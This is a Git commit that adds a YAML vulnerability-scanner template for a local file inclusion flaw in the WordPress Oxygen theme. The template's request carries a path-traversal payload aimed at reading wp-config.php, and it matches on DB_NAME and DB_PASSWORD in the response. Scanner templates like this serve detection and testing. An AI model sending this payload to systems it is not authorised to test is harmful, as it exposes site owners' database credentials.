Merge pull request #2854 from Akokonunes/patch-52

Create wp-oxygen-theme-lfi.yaml
patch-1
Sandeep Singh 2021-10-08 19:20:54 +05:30 committed by GitHub
commit 0c8e813c15
No known key found for this signature in database
GPG Key ID: 4AEE18F83AFDEB23
1 changed files with 26 additions and 0 deletions

View File

@ -0,0 +1,26 @@
id: wp-oxygen-theme-lfi
info:
name: WordPress Oxygen-Theme Themes LFI
author: 0x_Akoko
severity: high
tags: wordpress,wp-theme,lfi
reference: https://cxsecurity.com/issue/WLB-2019030178
requests:
- method: GET
path:
- '{{BaseURL}}/wp-content/themes/oxygen-theme/download.php?file=../../../wp-config.php'
matchers-condition: and
matchers:
- type: word
words:
- "DB_NAME"
- "DB_PASSWORD"
part: body
condition: and
- type: status
status:
- 200